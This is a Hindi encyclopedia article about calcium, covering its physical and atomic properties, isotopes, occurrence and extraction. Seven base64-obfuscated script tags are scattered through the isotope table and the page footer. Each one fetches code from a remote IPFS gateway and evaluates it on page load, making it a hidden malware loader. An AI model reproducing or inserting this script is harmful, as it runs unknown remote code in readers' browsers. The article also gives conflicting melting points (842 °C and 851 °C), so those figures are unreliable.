एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

कैल्सियम  

कैल्सियम
हल्का भूरा
साधारण गुणधर्म
नाम, प्रतीक, संख्या कैल्सियम, Ca, 20
तत्व श्रेणी क्षारीय पार्थिव धातु
समूह, आवर्त, कक्षा 2, 4, s
मानक परमाणु भार 40.078g·mol−1
इलेक्ट्रॉन विन्यास 1s2, 2s2 2p6, 3s2 3p6, 4s2
इलेक्ट्रॉन प्रति शेल 2, 8, 8, 2
भौतिक गुणधर्म
अवस्था ठोस
घनत्व (निकट क.ता.) 1.55 g·cm−3
तरल घनत्व
(गलनांक पर)
1.378 g·cm−3
गलनांक 1115 K, 842 °C, 1548 °F
क्वथनांक 1757 K, 1484 °C, 2703 °F
संलयन ऊष्मा 8.54 किलो जूल-मोल
वाष्पन ऊष्मा 154.7 किलो जूल-मोल
विशिष्ट ऊष्मीय
क्षमता
25.929

जूल-मोल−1किलो−1

वाष्प दाब
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 864 956 1071 1227 1443 1755
परमाण्विक गुणधर्म
ऑक्सीकरण अवस्था +2, +1
इलेक्ट्रोनेगेटिविटी 1.00 (पाइलिंग पैमाना)
आयनीकरण ऊर्जाएँ
(अधिक)
1st: 589.8 कि.जूल•मोल−1
2nd: 1145.4 कि.जूल•मोल−1
3rd: 4912.4 कि.जूल•मोल−1
परमाण्विक त्रिज्या 197 pm
सहसंयोजक त्रिज्या 176±10 pm
वैन्डैर वाल्स त्रिज्या 231 pm
विविध गुणधर्म
क्रिस्टल संरचना केन्द्रीय मुख घनाकार
चुम्बकीय क्रम पराचुम्बकीय
वैद्युत प्रतिरोधकता (20 °C) 33.6 nΩ·m
ऊष्मीय चालकता (300 K) 201 W·m−1·K−1
ऊष्मीय प्रसार (25 °C) 22.3 µm·m−1·K−1
ध्वनि चाल (पतली छड़ में) (20 °C) 3810 m.s-1
यंग मापांक 20 GPa
अपरूपण मापांक 7.4 GPa
स्थूल मापांक 17 GPa
पॉयज़न अनुपात 0.31
मोह्स कठोरता मापांक 1.75
ब्राइनल कठोरता 167 MPa
सी.ए.एस पंजीकरण
संख्या
7440-70-2
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा
(MeV)
क्षरण उत्पाद
40Ca 96.941% 40Ca 20 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

41Ca ट्रेस 1.03×105 y ε - 41K
42Ca 0.647% 42Ca 22 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

43Ca 0.135% 43Ca 23 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

44Ca 2.086% 44Ca 24 न्यूट्रॉन के साथ स्थिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

45Ca syn 162.7 d β 0.258 45Sc
46Ca 0.004% >2.8×1015 y ββ ? 46Ti
47Ca syn 4.536 d β 0.694, 1.99 47Sc
γ 1.297 -
48Ca 0.187% >4×1019 y ββ ? 48Ti

कैल्सियम (अंग्रेज़ी:Calcium) आवर्त सारणी का एक तत्त्व है। कैल्सियम का प्रतीकानुसार Ca तथा परमाणु संख्या 20 होती है। कैल्सियम का परमाणु भार 40 होता है। कैल्सियम का इलेक्ट्रॉनिक विन्यास 1s2, 2s2 2p6, 3s2 3p6,4s2 है।

प्राप्ति

  • कैल्सियम प्रकृति में मुक्त अवस्था में नहीं पाया जाता है। परंतु कार्बोनेट, सल्फेट फॉस्फेट, फ्लोराइड सिलिकेट आदि यौगिकों के रूप में यह प्रकृति में विस्तृत रूप में पाया जाता है।
  • कैल्सियम के यौगिक पृथ्वी की परत में 3.5% मात्रा में उपस्थित है।
  • कैल्सियम हड्डियों, अण्डे के छिलके एवं शंख (मोलस्का समुदाय का प्राणी) का मुख्य अवयव है।
  • दूध में सर्वाधिक मात्रा में पाया जाने वाला तत्व कैल्सियम है।

कैल्सियम का निष्कर्षण

कैल्सियम धातु का निष्कर्षण द्रवित कैल्सियम क्लोराइड एवं कैल्सियम फ्लोराइड मिश्रण के वैद्युत् अपघटन से किया जाता है। कैल्सियम फ्लोराइड कैल्सियम क्लोराइड को विद्युत अपघट्य बनाता है।

भौतिक गुण

  • कैल्सियम चाँदी की तरह उजली धातु है।
  • अन्य सामान्य धातुओं की अपेक्षा मुलायम परंतु सीसे की अपेक्षा कड़ी है।
  • कैल्सियम का द्रवणांक 851° C, क्वथनांक 1439° C तथा आपेक्षिक घनत्व 1.55 होता है।
  • कैल्सिय नम्य और तन्य होता है।
  • कैल्सिय ऊष्मा और विद्युत का सुचालक होता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=कैल्सियम&oldid=658394" से लिया गया